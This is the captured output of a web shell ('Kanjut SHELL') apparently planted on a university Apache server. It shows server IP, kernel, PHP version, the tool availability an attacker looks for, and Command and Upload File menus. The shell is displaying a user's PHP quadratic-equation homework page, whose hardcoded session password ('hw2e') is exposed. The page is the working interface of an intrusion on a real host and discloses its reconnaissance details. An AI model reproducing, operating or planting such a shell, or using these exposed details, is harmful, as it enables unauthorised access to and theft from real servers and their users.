Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.15.214.185
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/idetonyeaku/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/idetonyeaku/public_html/pwordquadraticeq.php
<?php   session_start();        ?>

<?php
     	$pass = $_SESSION['psw'];
        if($pass != "hw2e")
                print "Sorry wrong password buddy.";
        else
	{
?>

<HTML>
<style>
body {
  border: 2px solid black;
  padding: 25px;
  background:url(http://www.avatarys.com/var/albums/SPORT-IMAGES-%26-BACKGROUNDS/Sport-Logos/English-Premier-League-Logos/1920x1080-Cool-Soccer-Logos/As%20Roma%201920x1080%20Cool%20Soccer%20Wallpapers%201920x1080.jpeg?m=1435255621);
  background-repeat:no-repeat;
  background-size: auto;
}
.black_bg
{
    background-color: black;
    padding: 3px;
}
</style>
<Font color = White>
<CENTER>
<H2><span class = "black_bg"><strong>QUADRATIC EQUATION</span> </H2>
<HR>
<?php

     	$a = $_POST['aVar'];
        $b = $_POST['bVar'];
        $c = $_POST['cVar'];
        $d = $b * $b - 4 * $a * $c;
        print "a = $a, b = $b, c = $c<P>";


        if($d >  0)
        {
                $xroot = (-$b+sqrt($d))/(2.0*$a);
		$x = number_format($xroot, 1);

                $yroot = (-$b-sqrt($d))/(2.0*$a);
		$y = number_format($yroot, 1);

                print "First Root: $x<BR>";
                print "Second Root: $y<BR>";
        }
	else if($d == 0)
        {
		$xroot = (-$b + sqrt($d)) / (2.0 * $a);
		$x = number_format($xroot, 1);
                print "Root: $x";
        
        }
	else
	{
             print "No Solution";   
        }
?>
</FONT>
</CENTER>
</html>

<?php
        }
?>


Stv3n404 - 2023